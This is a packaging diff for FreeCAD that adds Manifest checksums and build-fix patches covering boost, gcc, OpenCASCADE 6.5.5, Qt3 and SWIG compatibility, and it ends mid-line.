c55ed752206aa9605007c54a34250cb17bc3c5818d6cf80eac36ef7f33dcc90a66ef5d501e5d07b4bdb9ce0819357bba73b0053c02c6a4bc7547e073aa27c1f5 +AUX freecad-0.12.5284-removeoldswig.patch 5165 SHA256 a5f44ac26071e1769c0686de30bbd2ca2a5fd03cb44222a1625f23c6f5ad6fc8 SHA512 732f0fc6b15b237df0014d30763e5b6bd46ebb0afe6d83eba5f2d325a5462367ab4d8890ac2426fb5fc3092465fc076f8cc4170a7d46f4eba9e4e0fa5703307b WHIRLPOOL ba101dbb802ed1a5762b2340ccf7c38a496b0f72d1deb38ea0558942f64b84c54131f7e5ce936a4405f5c025b3bc0a08d522f6d3fd2226804f7a43f21382b436 +AUX freecad-0.12.5284-salomesmesh-occ-6.5.5.patch 8617 SHA256 2ebcf2a5a81a2613d598f2eae56c87b0474b0bcac9d1b17038b71ff33c699d27 SHA512 ab1964d9a470f1edf0ce01ac67626b920a1be3f85f404e95c21122f5b69302d7b4faa41f10a648919793245cbd4ccbc804b723c59915ebe0c8011fc7fe4a9406 WHIRLPOOL dc7072b3edca746ae24b0c539753cd6f0c463ad803c222bc83f88cc3d02c9f97caa6074e95d7ff0da287a2f334633a1201cc993720c231e1e31f69d9fd240987 +AUX freecad-0.13.1830-remove-qt3-support.patch 1165 SHA256 dab93f53d16aa2b22a4c97203efb3dbe87562c7afeb6d3a3bef3f26492344f59 SHA512 479d2b5f1e5e8a1d0ffac6eb0ae3ef913530a700cabbee160471c131b1a898063be9feebb38e8870691da9d81e66924784e157a524339103713a2691ce3e6ae5 WHIRLPOOL 28c78c61de550964d6e12033bcf53876eeff2e474af67f6274f6eb0734ede7d00adb4bcd7e0a16556a1a90660c1a15d9ebf1e1b245da5bb377ccb7824d26224b +DIST freecad-0.12.5284.tar.gz 48399004 SHA256 45486c6cc3ae212fd3eba994c603fd97962c7f505bf2a807d1533f9ee6d6026d SHA512 f1fee73ae7b43e7b3a136847f0dbb0b3f3e8f62ad3a9063f759efd8b9ed5a0dfff54961870465f37c0563161c4c5e2821f1f3379ead72dbdeddae36702e2ec0a WHIRLPOOL 7a46119d86a5d43ae8eaec6b5532e4739d54b0443769381630e644aa16c3f4185b63b513e4350c7562beacd86d56a7edbb3b506d10cb54190cbeaab48a504d5f +DIST freecad-0.13.1830.tar.gz 70168706 SHA256 550ed16225e4cd67a463ae9b826f3a64edf7d2819cc8d235b15a89e10be72f13 SHA512 3e8d4eed8cace38da9615965f79a2b0da21d31a6df793ceaf3f732e0abd5666e9715ec9eb162e6ff998718e8d609a7dff2d0993b28f493200b734318a2322160 WHIRLPOOL 6d41565423edf8a0c67901a8559600ff1088f645c3ecb4aad8d7597490522f80d6475af3e7f5a623fc30b4d1571187bf6e6a132e6c480825798b957bea90bb83 +EBUILD freecad-0.12.5284-r2.ebuild 2097 SHA256 419b512d16428711c64a8c46f8b3d0ddde058d6cf95de09d5be2af793426df70 SHA512 0d6fee89ff0430d5dac2ed4222cc40f4c1777e1658fea642d04423f096b5c032137428508c308ad3f7fa4155240e9ed8752f07d5947514b7386afe777b37a15d WHIRLPOOL 6a5717f4e476c53586e85b6515bb91927568a379d15a218e3197c7b6e0fae5770ddf2c302cf575337f3d29effdbad8782f543577b578b0a1103490943657d2e4 +EBUILD freecad-0.12.5284-r3.ebuild 3609 SHA256 9cc9c805d6954bd0b0caabf29e8a7656bf048727f676fffd18c1dc44656ab3b7 SHA512 d1bb677c2d6053987ea9803f397ca70664ae997f8a06d82edea8b5f9614d4df5c91a8eea2d524ea2cb96a6186f35fb39d475b6e0395fff63b22b6b67a12c3ff0 WHIRLPOOL 9699600c2ed444bdd4fe3fa70b272011509b54f273cab9df4139f37cd09eb947a505ad502e9a21b7782e272e76c734339743cda76a4fd11eb02796a40e767be2 +EBUILD freecad-0.13.1830.ebuild 2209 SHA256 856b8f575926dbc9f8da985e4e97d622dc5e464a3e86871e48efb7a704a2c796 SHA512 aa8c174b800911b3db2ec5d05c5df3bd4b6edce65fc0253ccc7cd9cc3aee47d96b1e58ad94ed9097b716817d3d0460873b5a66ab072c062d1d5ff505c64921f2 WHIRLPOOL 3cb896e16c8ee161ec1b0f63853d2d69c04bcbfaa734b007bdf069dff01601d0b49971d582b044102a06aaa3a43a2a4ba94ee4c20eaaa8222fb15aba857426ff +EBUILD freecad-9999.ebuild 2462 SHA256 3d39ef3e65000125c93cd066664bc23eb55241a697a6154f3ba5844bf154f0a6 SHA512 0d4765d59a689b4eecbe9cbe0e2ef5200776e4d14e0fcb311d0b798d4174ef4f6be5e81d8080a033d0b91190f4b101475fa03f655b7e2266e3e751cc160f8167 WHIRLPOOL 1bb6d2405f61556fb535f13b6953f483b8cc74220414c94d8772c5705ab2393595c42f19e35144dc6e9b5da92fe7ebf3696234989825783673fe235cd005c642 diff --git a/media-gfx/freecad/files/freecad-0.12.5284-boost148.patch b/media-gfx/freecad/files/freecad-0.12.5284-boost148.patch new file mode 100644 index 00000000..4c9c7355 --- /dev/null +++ b/media-gfx/freecad/files/freecad-0.12.5284-boost148.patch @@ -0,0 +1,25 @@ +From d6061d30a053617b8127c96e8c6a65e47589a182 Mon Sep 17 00:00:00 2001 +From: Werner Mayer +Date: Sat, 31 Mar 2012 19:22:11 +0200 +Subject: [PATCH] #0000585: bug with boost 1.48 + +--- + CMakeLists.txt | 2 ++ + 1 file changed, 2 insertions(+) + +diff --git a/CMakeLists.txt b/CMakeLists.txt +index 920aca7..9e3bbf5 100644 +--- a/CMakeLists.txt ++++ b/CMakeLists.txt +@@ -284,6 +284,8 @@ MARK_AS_ADVANCED(FORCE FREECAD_LIBPACK_CHECKFILE6X FREECAD_LIBPACK_CHECKFILE7X) + # get include dirs + QT4_GET_MOC_FLAGS(moc_flags) + QT4_EXTRACT_OPTIONS(moc_files moc_options ${ARGN}) ++ # fixes bug 0000585: bug with boost 1.48 ++ SET(moc_options ${moc_options} -DBOOST_TT_HAS_OPERATOR_HPP_INCLUDED) + + foreach(it ${moc_files}) + get_filename_component(it ${it} ABSOLUTE) +-- +1.7.9.2 + diff --git a/media-gfx/freecad/files/freecad-0.12.5284-gcc46.patch b/media-gfx/freecad/files/freecad-0.12.5284-gcc46.patch new file mode 100644 index 00000000..df2fb191 --- /dev/null +++ b/media-gfx/freecad/files/freecad-0.12.5284-gcc46.patch @@ -0,0 +1,11 @@ +diff -ruN FreeCAD-0.11.4422.orig/src/zipios++/directory.h FreeCAD-0.11.4422/src/zipios++/directory.h +--- FreeCAD-0.11.4422.orig/src/zipios++/directory.h 2011-02-11 01:48:21.000000000 +0100 ++++ FreeCAD-0.11.4422/src/zipios++/directory.h 2011-11-13 22:11:27.000000000 +0100 +@@ -31,6 +31,7 @@ + #include + #include + #include ++#include + + // #include Contents of boost.h + diff --git a/media-gfx/freecad/files/freecad-0.12.5284-glu.patch b/media-gfx/freecad/files/freecad-0.12.5284-glu.patch new file mode 100644 index 00000000..95672153 --- /dev/null +++ b/media-gfx/freecad/files/freecad-0.12.5284-glu.patch @@ -0,0 +1,12 @@ +diff -ruN FreeCAD-0.12.5284.orig/src/Mod/Image/Gui/GLImageBox.cpp FreeCAD-0.12.5284/src/Mod/Image/Gui/GLImageBox.cpp +--- FreeCAD-0.12.5284.orig/src/Mod/Image/Gui/GLImageBox.cpp 2012-01-03 13:24:30.000000000 +0100 ++++ FreeCAD-0.12.5284/src/Mod/Image/Gui/GLImageBox.cpp 2012-01-06 10:26:38.000000000 +0100 +@@ -27,6 +27,8 @@ + # include + #endif + ++#include ++ + #include "GLImageBox.h" + + using namespace ImageGui; diff --git a/media-gfx/freecad/files/freecad-0.12.5284-no-3rdParty.patch b/media-gfx/freecad/files/freecad-0.12.5284-no-3rdParty.patch new file mode 100644 index 00000000..d5797567 --- /dev/null +++ b/media-gfx/freecad/files/freecad-0.12.5284-no-3rdParty.patch @@ -0,0 +1,9 @@ +--- FreeCAD-0.12.5284/src/CMakeLists.txt ++++ FreeCAD-0.12.5284/src/CMakeLists.txt +@@ -1,6 +1,5 @@ + + add_subdirectory(Build) +-add_subdirectory(3rdParty) + add_subdirectory(Base) + add_subdirectory(App) + add_subdirectory(Main) diff --git a/media-gfx/freecad/files/freecad-0.12.5284-no-permissive.patch b/media-gfx/freecad/files/freecad-0.12.5284-no-permissive.patch new file mode 100644 index 00000000..d19a92f4 --- /dev/null +++ b/media-gfx/freecad/files/freecad-0.12.5284-no-permissive.patch @@ -0,0 +1,40 @@ +--- FreeCAD-0.12.5284/src/Mod/Mesh/App/WildMagic4/Wm4Query2Filtered.inl ++++ FreeCAD-0.12.5284/src/Mod/Mesh/App/WildMagic4/Wm4Query2Filtered.inl +@@ -55,7 +55,7 @@ + Real fLen1 = Math::Sqrt(fX1*fX1 + fY1*fY1); + Real fScaledUncertainty = m_fUncertainty*fLen0*fLen1; + +- Real fDet2 = Det2(fX0,fY0,fX1,fY1); ++ Real fDet2 = this->Det2(fX0,fY0,fX1,fY1); + if (Math::FAbs(fDet2) >= fScaledUncertainty) + { + return (fDet2 > (Real)0.0 ? +1 : (fDet2 < (Real)0.0 ? -1 : 0)); +@@ -93,7 +93,7 @@ + Real fLen2 = Math::Sqrt(fD2x*fD2x + fD2y*fD2y + fZ2*fZ2); + Real fScaledUncertainty = m_fUncertainty*fLen0*fLen1*fLen2; + +- Real fDet3 = Det3(fD0x,fD0y,fZ0,fD1x,fD1y,fZ1,fD2x,fD2y,fZ2); ++ Real fDet3 = this->Det3(fD0x,fD0y,fZ0,fD1x,fD1y,fZ1,fD2x,fD2y,fZ2); + if (Math::FAbs(fDet3) >= fScaledUncertainty) + { + return (fDet3 < (Real)0.0 ? 1 : (fDet3 > (Real)0.0 ? -1 : 0)); +--- FreeCAD-0.12.5284/src/Mod/Mesh/App/WildMagic4/Wm4Query3Filtered.in ++++ FreeCAD-0.12.5284/src/Mod/Mesh/App/WildMagic4/Wm4Query3Filtered.inl +@@ -62,7 +62,7 @@ + Real fLen2 = Math::Sqrt(fX2*fX2 + fY2*fY2 + fZ2*fZ2); + Real fScaledUncertainty = m_fUncertainty*fLen0*fLen1*fLen2; + +- Real fDet3 = Det3(fX0,fY0,fZ0,fX1,fY1,fZ1,fX2,fY2,fZ2); ++ Real fDet3 = this->Det3(fX0,fY0,fZ0,fX1,fY1,fZ1,fX2,fY2,fZ2); + if (Math::FAbs(fDet3) >= fScaledUncertainty) + { + return (fDet3 > (Real)0.0 ? +1 : (fDet3 < (Real)0.0 ? -1 : 0)); +@@ -115,7 +115,7 @@ + Real fLen3 = Math::Sqrt(fD3x*fD3x+fD3y*fD3y+fD3z*fD3z+fW3*fW3); + Real fScaledUncertainty = m_fUncertainty*fLen0*fLen1*fLen2*fLen3; + +- Real fDet4 = Det4(fD0x,fD0y,fD0z,fW0,fD1x,fD1y,fD1z,fW1,fD2x, ++ Real fDet4 = this->Det4(fD0x,fD0y,fD0z,fW0,fD1x,fD1y,fD1z,fW1,fD2x, + fD2y,fD2z,fW2,fD3x,fD3y,fD3z,fW3); + + if (Math::FAbs(fDet4) >= fScaledUncertainty) diff --git a/media-gfx/freecad/files/freecad-0.12.5284-nodir.patch b/media-gfx/freecad/files/freecad-0.12.5284-nodir.patch new file mode 100644 index 00000000..3e9bbedb --- /dev/null +++ b/media-gfx/freecad/files/freecad-0.12.5284-nodir.patch @@ -0,0 +1,21 @@ +diff -ruN FreeCAD-0.12.5284.orig/src/Mod/CMakeLists.txt FreeCAD-0.12.5284/src/Mod/CMakeLists.txt +--- FreeCAD-0.12.5284.orig/src/Mod/CMakeLists.txt 2012-01-03 13:26:12.000000000 +0100 ++++ FreeCAD-0.12.5284/src/Mod/CMakeLists.txt 2012-01-06 12:19:06.000000000 +0100 +@@ -18,7 +18,7 @@ + MESSAGE("Due to the missing Eigen3 library the Sketcher module won't be built") + MESSAGE("Due to the missing Eigen3 library the Robot module won't be built") + ENDIF(EIGEN3_FOUND) +-add_subdirectory(Machining_Distortion) ++# add_subdirectory(Machining_Distortion) + + add_subdirectory(ReverseEngineering) + add_subdirectory(MeshPart) +@@ -32,7 +32,7 @@ + + add_subdirectory(Arch) + +-add_subdirectory(Assembly) ++# add_subdirectory(Assembly) + + if(FREECAD_BUILD_CAM) + add_subdirectory(Cam) diff --git a/media-gfx/freecad/files/freecad-0.12.5284-nopivy.patch b/media-gfx/freecad/files/freecad-0.12.5284-nopivy.patch new file mode 100644 index 00000000..337348aa --- /dev/null +++ b/media-gfx/freecad/files/freecad-0.12.5284-nopivy.patch @@ -0,0 +1,17 @@ +diff -ruN FreeCAD-0.12.5284.orig/src/3rdParty/CMakeLists.txt FreeCAD-0.12.5284/src/3rdParty/CMakeLists.txt +--- FreeCAD-0.12.5284.orig/src/3rdParty/CMakeLists.txt 2012-01-03 13:30:19.000000000 +0100 ++++ FreeCAD-0.12.5284/src/3rdParty/CMakeLists.txt 2012-01-07 15:57:52.000000000 +0100 +@@ -19,13 +19,6 @@ + # add_subdirectory(Pivy) + #endif(MINGW) + # applies for Unix, MinGW and Windows with custom LibPack +-elseif(FREECAD_BUILD_GUI) +- find_path(COIN_VERSION3 Inventor/scxml/ScXML.h ${COIN3D_INCLUDE_DIR}) +- if (COIN_VERSION3) +- add_subdirectory(Pivy-0.5) +- else (COIN_VERSION3) +- add_subdirectory(Pivy) +- endif(COIN_VERSION3) + endif(FREECAD_BUILD_GUI AND FREECAD_LIBPACK_CHECKFILE6X) + + # For Windows we have all stuff in the LibPack diff --git a/media-gfx/freecad/files/freecad-0.12.5284-occ-6.5.5.patch b/media-gfx/freecad/files/freecad-0.12.5284-occ-6.5.5.patch new file mode 100644 index 00000000..1886f8ec --- /dev/null +++ b/media-gfx/freecad/files/freecad-0.12.5284-occ-6.5.5.patch @@ -0,0 +1,224 @@ +--- FreeCAD-0.12.5284/src/Mod/Part/App/TopoShape.cpp ++++ FreeCAD-0.12.5284/src/Mod/Part/App/TopoShape.cpp +@@ -1370,7 +1370,7 @@ + + //circular profile + Handle(Geom_Circle) aCirc = new Geom_Circle (gp::XOY(), 1.0); +- aCirc->Rotate (gp::OZ(), Standard_PI/2.); ++ aCirc->Rotate (gp::OZ(), M_PI/2.); + + //perpendicular section + Handle(BRepAdaptor_HCurve) myPath = new BRepAdaptor_HCurve(path_adapt); +@@ -1469,12 +1469,12 @@ + } + + gp_Pnt2d aPnt(0, 0); +- gp_Dir2d aDir(2. * PI, pitch); ++ gp_Dir2d aDir(2. * M_PI, pitch); + gp_Ax2d aAx2d(aPnt, aDir); + + Handle(Geom2d_Line) line = new Geom2d_Line(aAx2d); + gp_Pnt2d beg = line->Value(0); +- gp_Pnt2d end = line->Value(sqrt(4.0*PI*PI+pitch*pitch)*(height/pitch)); ++ gp_Pnt2d end = line->Value(sqrt(4.0*M_PI*M_PI+pitch*pitch)*(height/pitch)); + Handle(Geom2d_TrimmedCurve) segm = GCE2d_MakeSegment(beg , end); + + TopoDS_Edge edgeOnSurf = BRepBuilderAPI_MakeEdge(segm , surf); +@@ -1772,7 +1772,7 @@ + Standard_Real x3, y3, z3; + + Handle_StlMesh_Mesh aMesh = new StlMesh_Mesh(); +- StlTransfer::BuildIncrementalMesh(this->_Shape, accuracy, aMesh); ++ StlTransfer::BuildIncrementalMesh(this->_Shape, accuracy, false, aMesh); + StlMesh_MeshExplorer xp(aMesh); + for (Standard_Integer nbd=1;nbd<=aMesh->NbDomains();nbd++) { + for (xp.InitTriangle (nbd); xp.MoreTriangle (); xp.NextTriangle ()) { +--- FreeCAD-0.12.5284/src/Mod/Part/App/FeatureRevolution.cpp ++++ FreeCAD-0.12.5284/src/Mod/Part/App/FeatureRevolution.cpp +@@ -71,7 +71,7 @@ + try { + // Now, let's get the TopoDS_Shape + TopoDS_Shape revolve = base->Shape.getShape().revolve(gp_Ax1(pnt, dir), +- Angle.getValue()/180.0f*Standard_PI); ++ Angle.getValue()/180.0f*M_PI); + if (revolve.IsNull()) + return new App::DocumentObjectExecReturn("Resulting shape is null"); + this->Shape.setValue(revolve); +--- FreeCAD-0.12.5284/src/Mod/Part/App/PrimitiveFeature.cpp ++++ FreeCAD-0.12.5284/src/Mod/Part/App/PrimitiveFeature.cpp +@@ -263,9 +263,9 @@ + return new App::DocumentObjectExecReturn("Radius of sphere too small"); + try { + BRepPrimAPI_MakeSphere mkSphere(Radius.getValue(), +- Angle1.getValue()/180.0f*Standard_PI, +- Angle2.getValue()/180.0f*Standard_PI, +- Angle3.getValue()/180.0f*Standard_PI); ++ Angle1.getValue()/180.0f*M_PI, ++ Angle2.getValue()/180.0f*M_PI, ++ Angle3.getValue()/180.0f*M_PI); + TopoDS_Shape ResultShape = mkSphere.Shape(); + this->Shape.setValue(ResultShape); + } +@@ -321,9 +321,9 @@ + gp_Ax2 ax2(pnt,dir); + BRepPrimAPI_MakeSphere mkSphere(ax2, + Radius2.getValue(), +- Angle1.getValue()/180.0f*Standard_PI, +- Angle2.getValue()/180.0f*Standard_PI, +- Angle3.getValue()/180.0f*Standard_PI); ++ Angle1.getValue()/180.0f*M_PI, ++ Angle2.getValue()/180.0f*M_PI, ++ Angle3.getValue()/180.0f*M_PI); + Standard_Real scale = Radius1.getValue()/Radius2.getValue(); + gp_Dir xDir = ax2.XDirection(); + gp_Dir yDir = ax2.YDirection(); +@@ -380,7 +380,7 @@ + try { + BRepPrimAPI_MakeCylinder mkCylr(Radius.getValue(), + Height.getValue(), +- Angle.getValue()/180.0f*Standard_PI); ++ Angle.getValue()/180.0f*M_PI); + TopoDS_Shape ResultShape = mkCylr.Shape(); + this->Shape.setValue(ResultShape); + } +@@ -429,7 +429,7 @@ + BRepPrimAPI_MakeCone mkCone(Radius1.getValue(), + Radius2.getValue(), + Height.getValue(), +- Angle.getValue()/180.0f*Standard_PI); ++ Angle.getValue()/180.0f*M_PI); + TopoDS_Shape ResultShape = mkCone.Shape(); + this->Shape.setValue(ResultShape); + } +@@ -498,9 +498,9 @@ + #else + BRepPrimAPI_MakeTorus mkTorus(Radius1.getValue(), + Radius2.getValue(), +- Angle1.getValue()/180.0f*Standard_PI, +- Angle2.getValue()/180.0f*Standard_PI, +- Angle3.getValue()/180.0f*Standard_PI); ++ Angle1.getValue()/180.0f*M_PI, ++ Angle2.getValue()/180.0f*M_PI, ++ Angle3.getValue()/180.0f*M_PI); + const TopoDS_Solid& ResultShape = mkTorus.Solid(); + #endif + this->Shape.setValue(ResultShape); +--- FreeCAD-0.12.5284/src/Mod/Part/App/AppPartPy.cpp ++++ FreeCAD-0.12.5284/src/Mod/Part/App/AppPartPy.cpp +@@ -492,7 +492,7 @@ + d.SetCoord(vec.x, vec.y, vec.z); + } + Handle_Geom_Plane aPlane = new Geom_Plane(p, d); +- BRepBuilderAPI_MakeFace Face(aPlane, 0.0, length, 0.0, width); ++ BRepBuilderAPI_MakeFace Face(aPlane, 0.0, length, 0.0, width, Precision::Confusion()); + return new TopoShapeFacePy(new TopoShape((Face.Face()))); + } + catch (Standard_DomainError) { +--- FreeCAD-0.12.5284/src/Mod/Part/App/GeometrySurfacePyImp.cpp ++++ FreeCAD-0.12.5284/src/Mod/Part/App/GeometrySurfacePyImp.cpp +@@ -79,7 +79,7 @@ + s->Bounds(u1,u2,v1,v2); + if (!PyArg_ParseTuple(args, "|dddd", &u1,&u2,&v1,&v2)) + return 0; +- BRepBuilderAPI_MakeFace mkBuilder(s, u1, u2, v1, v2); ++ BRepBuilderAPI_MakeFace mkBuilder(s, u1, u2, v1, v2, Precision::Confusion()); + TopoDS_Shape sh = mkBuilder.Shape(); + return new TopoShapeFacePy(new TopoShape(sh)); + } +--- FreeCAD-0.12.5284/src/Mod/Part/App/Geometry.cpp ++++ FreeCAD-0.12.5284/src/Mod/Part/App/Geometry.cpp +@@ -1252,7 +1252,7 @@ + Handle_Geom_Surface s = Handle_Geom_Surface::DownCast(handle()); + Standard_Real u1,u2,v1,v2; + s->Bounds(u1,u2,v1,v2); +- BRepBuilderAPI_MakeFace mkBuilder(s, u1, u2, v1, v2); ++ BRepBuilderAPI_MakeFace mkBuilder(s, u1, u2, v1, v2, Precision::Confusion()); + return mkBuilder.Shape(); + } + +--- FreeCAD-0.12.5284/src/Mod/Part/App/PrimitiveFeature.cpp ++++ FreeCAD-0.12.5284/src/Mod/Part/App/PrimitiveFeature.cpp +@@ -191,7 +191,7 @@ + gp_Pnt pnt(0.0,0.0,0.0); + gp_Dir dir(0.0,0.0,1.0); + Handle_Geom_Plane aPlane = new Geom_Plane(pnt, dir); +- BRepBuilderAPI_MakeFace mkFace(aPlane, 0.0, L, 0.0, W); ++ BRepBuilderAPI_MakeFace mkFace(aPlane, 0.0, L, 0.0, W, Precision::Confusion()); + + const char *error=0; + switch (mkFace.Error()) +--- FreeCAD-0.12.5284/src/Mod/Part/App/TopoShape.cpp ++++ FreeCAD-0.12.5284/src/Mod/Part/App/TopoShape.cpp +@@ -1338,7 +1338,7 @@ + double u1,u2,v1,v2; + surf->Bounds(u1,u2,v1,v2); + +- BRepBuilderAPI_MakeFace mkBuilder(surf, umin, umax, v1, v2); ++ BRepBuilderAPI_MakeFace mkBuilder(surf, umin, umax, v1, v2, Precision::Confusion()); + return mkBuilder.Face(); + } + +@@ -1391,7 +1391,7 @@ + + Standard_Real u1,u2,v1,v2; + mySurface->Bounds(u1,u2,v1,v2); +- BRepBuilderAPI_MakeFace mkBuilder(mySurface, u1, u2, v1, v2); ++ BRepBuilderAPI_MakeFace mkBuilder(mySurface, u1, u2, v1, v2, Precision::Confusion()); + return mkBuilder.Shape(); + } + +@@ -1443,7 +1443,7 @@ + mkSweep.Perform(tol, Standard_False, GeomAbs_C1, BSplCLib::MaxDegree(), 1000); + + const Handle_Geom_Surface& surf = mkSweep.Surface(); +- BRepBuilderAPI_MakeFace mkBuilder(surf, umin, umax, vmin, vmax); ++ BRepBuilderAPI_MakeFace mkBuilder(surf, umin, umax, vmin, vmax, Precision::Confusion()); + return mkBuilder.Face(); + } + +--- FreeCAD-0.12.5284/src/Mod/Part/App/TopoShapeFacePyImp.cpp ++++ FreeCAD-0.12.5284/src/Mod/Part/App/TopoShapeFacePyImp.cpp +@@ -135,7 +135,7 @@ + return -1; + } + +- BRepBuilderAPI_MakeFace mkFace(S); ++ BRepBuilderAPI_MakeFace mkFace(S, Precision::Confusion()); + if (bound) { + Py::List list(bound); + for (Py::List::iterator it = list.begin(); it != list.end(); ++it) { +--- FreeCAD-0.12.5284/src/Mod/Fem/App/AppFemPy.cpp ++++ FreeCAD-0.12.5284/src/Mod/Fem/App/AppFemPy.cpp +@@ -498,12 +498,12 @@ + + //Do a Monte Carlo approach and start from the Principal Axis System + //and rotate +/- 60° around each axis in a first iteration +- double angle_range_min_x=-PI/3.0,angle_range_max_x=PI/3.0, +- angle_range_min_y=-PI/3.0,angle_range_max_y=PI/3.0, +- angle_range_min_z=-PI/3.0,angle_range_max_z=PI/3.0; ++ double angle_range_min_x=-M_PI/3.0,angle_range_max_x=M_PI/3.0, ++ angle_range_min_y=-M_PI/3.0,angle_range_max_y=M_PI/3.0, ++ angle_range_min_z=-M_PI/3.0,angle_range_max_z=M_PI/3.0; + + //We rotate until we are 0.1° sure to be in the right position +- for (step_size = (2.0*PI/it_steps);step_size>(2.0*PI/3600.0);step_size=(2.0*PI/it_steps)) ++ for (step_size = (2.0*M_PI/it_steps);step_size>(2.0*M_PI/3600.0);step_size=(2.0*M_PI/it_steps)) + { + for(alpha_x=angle_range_min_x;alpha_x(2.0*PI/360.0);step_size=(2.0*PI/it_steps)) ++ for (step_size = (2.0*M_PI/it_steps);step_size>(2.0*M_PI/360.0);step_size=(2.0*M_PI/it_steps)) + { + for(alpha_x=angle_range_min_x;alpha_x + + +- qPixmapFromMimeSource ++ + + + Gui::ColorButton +diff -ruN FreeCAD-0.12.5284.orig/src/Mod/Draft/Resources/ui/userprefs-base.ui FreeCAD-0.12.5284/src/Mod/Draft/Resources/ui/userprefs-base.ui +--- FreeCAD-0.12.5284.orig/src/Mod/Draft/Resources/ui/userprefs-base.ui 2012-01-03 13:25:30.000000000 +0100 ++++ FreeCAD-0.12.5284/src/Mod/Draft/Resources/ui/userprefs-base.ui 2012-01-07 17:15:11.000000000 +0100 +@@ -957,7 +957,7 @@ + + + +- qPixmapFromMimeSource ++ + + + Gui::FileChooser +diff -ruN FreeCAD-0.12.5284.orig/src/Mod/Draft/Resources/ui/userprefs-import.ui FreeCAD-0.12.5284/src/Mod/Draft/Resources/ui/userprefs-import.ui +--- FreeCAD-0.12.5284.orig/src/Mod/Draft/Resources/ui/userprefs-import.ui 2012-01-03 13:25:30.000000000 +0100 ++++ FreeCAD-0.12.5284/src/Mod/Draft/Resources/ui/userprefs-import.ui 2012-01-07 17:14:50.000000000 +0100 +@@ -411,7 +411,7 @@ + + + +- qPixmapFromMimeSource ++ + + + Gui::FileChooser diff --git a/media-gfx/freecad/files/freecad-0.12.5284-removeoldswig.patch b/media-gfx/freecad/files/freecad-0.12.5284-removeoldswig.patch new file mode 100644 index 00000000..b768178e --- /dev/null +++ b/media-gfx/freecad/files/freecad-0.12.5284-removeoldswig.patch @@ -0,0 +1,111 @@ +--- src/Base/Interpreter.cpp.old 2010-08-27 16:24:16.000000000 +0200 ++++ src/Base/Interpreter.cpp 2011-12-24 00:13:52.356641021 +0100 +@@ -503,11 +503,6 @@ + #if (defined(HAVE_SWIG) && (HAVE_SWIG == 1)) + namespace Swig_python { extern int createSWIGPointerObj_T(const char* TypeName, void* obj, PyObject** ptr, int own); } + #endif +-namespace Swig_1_3_25 { extern int createSWIGPointerObj_T(const char* TypeName, void* obj, PyObject** ptr, int own); } +-namespace Swig_1_3_33 { extern int createSWIGPointerObj_T(const char* TypeName, void* obj, PyObject** ptr, int own); } +-namespace Swig_1_3_36 { extern int createSWIGPointerObj_T(const char* TypeName, void* obj, PyObject** ptr, int own); } +-namespace Swig_1_3_38 { extern int createSWIGPointerObj_T(const char* TypeName, void* obj, PyObject** ptr, int own); } +-namespace Swig_1_3_40 { extern int createSWIGPointerObj_T(const char* TypeName, void* obj, PyObject** ptr, int own); } + + PyObject* InterpreterSingleton::createSWIGPointerObj(const char* Module, const char* TypeName, void* Pointer, int own) + { +@@ -517,21 +512,6 @@ + int version = getSWIGVersionFromModule(Module); + switch (version&0xff) + { +- case 25: +- result = Swig_1_3_25::createSWIGPointerObj_T(TypeName, Pointer, &proxy, own); +- break; +- case 33: +- result = Swig_1_3_33::createSWIGPointerObj_T(TypeName, Pointer, &proxy, own); +- break; +- case 36: +- result = Swig_1_3_36::createSWIGPointerObj_T(TypeName, Pointer, &proxy, own); +- break; +- case 38: +- result = Swig_1_3_38::createSWIGPointerObj_T(TypeName, Pointer, &proxy, own); +- break; +- case 40: +- result = Swig_1_3_40::createSWIGPointerObj_T(TypeName, Pointer, &proxy, own); +- break; + default: + #if (defined(HAVE_SWIG) && (HAVE_SWIG == 1)) + result = Swig_python::createSWIGPointerObj_T(TypeName, Pointer, &proxy, own); +@@ -550,11 +530,6 @@ + #if (defined(HAVE_SWIG) && (HAVE_SWIG == 1)) + namespace Swig_python { extern int convertSWIGPointerObj_T(const char* TypeName, PyObject* obj, void** ptr, int flags); } + #endif +-namespace Swig_1_3_25 { extern int convertSWIGPointerObj_T(const char* TypeName, PyObject* obj, void** ptr, int flags); } +-namespace Swig_1_3_33 { extern int convertSWIGPointerObj_T(const char* TypeName, PyObject* obj, void** ptr, int flags); } +-namespace Swig_1_3_36 { extern int convertSWIGPointerObj_T(const char* TypeName, PyObject* obj, void** ptr, int flags); } +-namespace Swig_1_3_38 { extern int convertSWIGPointerObj_T(const char* TypeName, PyObject* obj, void** ptr, int flags); } +-namespace Swig_1_3_40 { extern int convertSWIGPointerObj_T(const char* TypeName, PyObject* obj, void** ptr, int flags); } + + bool InterpreterSingleton::convertSWIGPointerObj(const char* Module, const char* TypeName, PyObject* obj, void** ptr, int flags) + { +@@ -563,21 +538,6 @@ + int version = getSWIGVersionFromModule(Module); + switch (version&0xff) + { +- case 25: +- result = Swig_1_3_25::convertSWIGPointerObj_T(TypeName, obj, ptr, flags); +- break; +- case 33: +- result = Swig_1_3_33::convertSWIGPointerObj_T(TypeName, obj, ptr, flags); +- break; +- case 36: +- result = Swig_1_3_36::convertSWIGPointerObj_T(TypeName, obj, ptr, flags); +- break; +- case 38: +- result = Swig_1_3_38::convertSWIGPointerObj_T(TypeName, obj, ptr, flags); +- break; +- case 40: +- result = Swig_1_3_40::convertSWIGPointerObj_T(TypeName, obj, ptr, flags); +- break; + default: + #if (defined(HAVE_SWIG) && (HAVE_SWIG == 1)) + result = Swig_python::convertSWIGPointerObj_T(TypeName, obj, ptr, flags); +@@ -596,11 +556,6 @@ + #if (defined(HAVE_SWIG) && (HAVE_SWIG == 1)) + namespace Swig_python { extern void cleanupSWIG_T(const char* TypeName); } + #endif +-namespace Swig_1_3_25 { extern void cleanupSWIG_T(const char* TypeName); } +-namespace Swig_1_3_33 { extern void cleanupSWIG_T(const char* TypeName); } +-namespace Swig_1_3_36 { extern void cleanupSWIG_T(const char* TypeName); } +-namespace Swig_1_3_38 { extern void cleanupSWIG_T(const char* TypeName); } +-namespace Swig_1_3_40 { extern void cleanupSWIG_T(const char* TypeName); } + + void InterpreterSingleton::cleanupSWIG(const char* TypeName) + { +@@ -608,9 +563,4 @@ + #if (defined(HAVE_SWIG) && (HAVE_SWIG == 1)) + Swig_python::cleanupSWIG_T(TypeName); + #endif +- Swig_1_3_25::cleanupSWIG_T(TypeName); +- Swig_1_3_33::cleanupSWIG_T(TypeName); +- Swig_1_3_36::cleanupSWIG_T(TypeName); +- Swig_1_3_38::cleanupSWIG_T(TypeName); +- Swig_1_3_40::cleanupSWIG_T(TypeName); + } +--- src/Base/Makefile.am.old 2011-12-24 